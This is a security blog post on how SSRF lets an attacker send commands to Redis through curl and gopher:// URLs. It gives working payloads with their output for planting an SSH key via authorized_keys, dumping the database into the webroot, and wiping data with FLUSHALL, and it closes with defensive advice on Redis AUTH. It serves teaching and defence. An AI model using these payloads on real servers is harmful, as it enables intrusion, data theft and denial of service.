curl Based SSRF Exploits Against Redis

Published: August 14, 2017

Tags:

SSRF (server side request forgery) is a type of vulnerability where an attacker is able trick a remote server into sending unauthorized requests. SSRF opens the door to many types of undesirable things such as information disclosure, DoS and RCE. In this post, we’ll take a look at the types of exploits that are achievable when we have access to curl Redis via SSRF.

Getting Redis To Execute Our Commands

As documented in a blog post titled “Trying to hack Redis via HTTP requests” by the French company, Agarri if simply we curl Redis, it will interpret each line in the HTTP request as a command….

$ curl -v 127.0.0.1:6379 --max-time 1                                                                            ~
* Rebuilt URL to: 127.0.0.1:6379/
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 6379 (#0)
> GET / HTTP/1.1
> Host: 127.0.0.1:6379
> User-Agent: curl/7.52.1
> Accept: */*
>
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'User-Agent:'
-ERR unknown command 'Accept:'
* Operation timed out after 1002 milliseconds with 148 bytes received
* Curl_http_done: called premature == 1
* stopped the pause stream!
* Closing connection 0
curl: (28) Operation timed out after 1002 milliseconds with 148 bytes received

:bulb: Tip: Note the usage of the max-time flag here. It’s important to understand that by default Redis won’t close the connection and, without specifying a timeout, neither will curl.

Agarri’s post suggests that we can use HTTP request headers or the request POST body to send malicious payloads. While this sounds good in theory, I couldn’t get it to work (if you see something I’ve done wrong let me know!)…

$ curl --trace-ascii /dev/stdout -X POST -H "Content-Type: text/plain" --data "CONFIG SET maxmemory 5" http://127.0.0.1:6379/ --max-time 1
Note: Unnecessary use of -X or --request, POST is already inferred.
== Info:   Trying 127.0.0.1...
== Info: TCP_NODELAY set
== Info: Connected to 127.0.0.1 (127.0.0.1) port 6379 (#0)
=> Send header, 125 bytes (0x7d)
0000: POST / HTTP/1.1
0011: Host: 127.0.0.1:6379
0027: User-Agent: curl/7.52.1
0040: Accept: */*
004d: Content-Type: text/plain
0067: Content-Length: 22
007b:
=> Send data, 22 bytes (0x16)
0000: CONFIG SET maxmemory 5
== Info: upload completely sent off: 22 out of 22 bytes
<= Recv data, 29 bytes (0x1d)
0000: -ERR unknown command 'POST'
<= Recv data, 176 bytes (0xb0)
0000: -ERR unknown command 'Host:'
001e: -ERR unknown command 'User-Agent:'
0042: -ERR unknown command 'Accept:'
0062: -ERR unknown command 'Content-Type:'
0088: -ERR unknown command 'Content-Length:'
-ERR unknown command 'POST'
-ERR unknown command 'Host:'
-ERR unknown command 'User-Agent:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Content-Type:'
-ERR unknown command 'Content-Length:'
== Info: Operation timed out after 1002 milliseconds with 205 bytes received
== Info: Curl_http_done: called premature == 1
== Info: stopped the pause stream!
== Info: Closing connection 0
curl: (28) Operation timed out after 1002 milliseconds with 205 bytes received
$ redis-cli                                                                                                      ~
127.0.0.1:6379> config get maxmemory
1) "maxmemory"
2) "999999999999999"
127.0.0.1:6379>

Fortunately, there’s another option. Using a trick I learned about in an SSRF report to Imgur’s bug bounty on hackerone, we can send requests to Redis using the Gopher protocol.

This is approach is likely more versatile than using the POST body or HTTP request headers in an SSRF scenario as it’s more likely that we’ll have complete control over the endpoint (including request protocol) than it is that we’ll be able to force the HTTP request method, manipulate the post body, or manipulate request headers.

Here’s what it would look like to get Redis to divulge its maxmemory configuration value.

$ curl gopher://127.0.0.1:6379/_CONFIG%20GET%20maxmemory --max-time 1                                      ~
*2
$9
maxmemory
$15
999999999999999
curl: (28) Operation timed out after 1002 milliseconds with 41 bytes received

What Can We Do With It?

The ability to send commands to Redis opens the door to many nasty exploits. Here are a few…

Manipulation of the configuration values to upload a public key

This technique was outlined in a blog post titled “A few things about Redis security” by Redis’ creator Salvatore Sanfilippo (aka antirez). If we know the the name of a user on the server, we could set the Redis’ dir to that user’s .ssh/ directory and set the dbfilename to authorized_keys. We can use %0D%0A to issue multiple commands in a single request…

$ curl -v gopher://127.0.0.1:6379/_CONFIG%20SET%20dir%20/home/mpchadwick/.ssh%0D%0ACONFIG%20SET%20dbfilename%20authorized_keys --max-time 1
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 6379 (#0)
+OK
+OK
* Operation timed out after 1002 milliseconds with 5 bytes received
* Closing connection 0
curl: (28) Operation timed out after 1002 milliseconds with 5 bytes received

Next we would use the SET command to get Redis to save our public key to its memory, and then finally issue a SAVE command to write the public key to the authorized_keys file.

This is pretty much game over as the attacker can now SSH directly to the server!

Manipulation of the dir configuration value to steal the database

With the ability to manipulate the dir value, another option would be to update the dir to a publicly accessible location (the webroot). For example the attacker could try /var/www/html, the default webroot for Apache on most servers.

$ curl gopher://127.0.0.1:6379/_CONFIG%20SET%20dir%20/var/www/html --max-time 1   
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 6379 (#0)
+OK
* Operation timed out after 1002 milliseconds with 5 bytes received
* Closing connection 0
curl: (28) Operation timed out after 1002 milliseconds with 5 bytes received

The attacker could then trigger another SAVE to place dump.rdb into the webroot and download the entire database.

It’s very likely that this will give them access to sensitive information such as customer PII (personally identifiable information), database connection credentials or credentials for external API services.

DoS

There are countless DoS opportunities with the ability to send arbitrary commands to the Redis instance. The first thing that springs to mind is the repeatedly send FLUSHALL commands, preventing Redis from ever effectively storing anything.

$ curl -v gopher://127.0.0.1:6379/_FLUSHALL --max-time 1                                                         ~
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 6379 (#0)
+OK
* Operation timed out after 1002 milliseconds with 5 bytes received
* Closing connection 0
curl: (28) Operation timed out after 1002 milliseconds with 5 bytes received

Takeaways

As we can see, SSRF can quickly become fatal if the attacker is able to send requests to the Redis instance. In addition to being mindful of potential SSRF exploits within the application codebase during the code review process, it is not advisable to solely rely on network layer security to protect your Redis instance. Redis’ built in AUTH feature allows you require a password to speak to Redis which adds an additional layer of protection against potential attackers.

Max ChadwickHi, I'm Max!

I'm a software developer who mainly works in PHP, but also dabbles in Ruby and Go. Technical topics that interest me are monitoring, security and performance.

During the day I solve challenging technical problems at Something Digital where I mainly work with the Magento platform. I also blog about tech, work on open source and hunt for bugs.

If you'd like to get in touch with me the best way is on Twitter.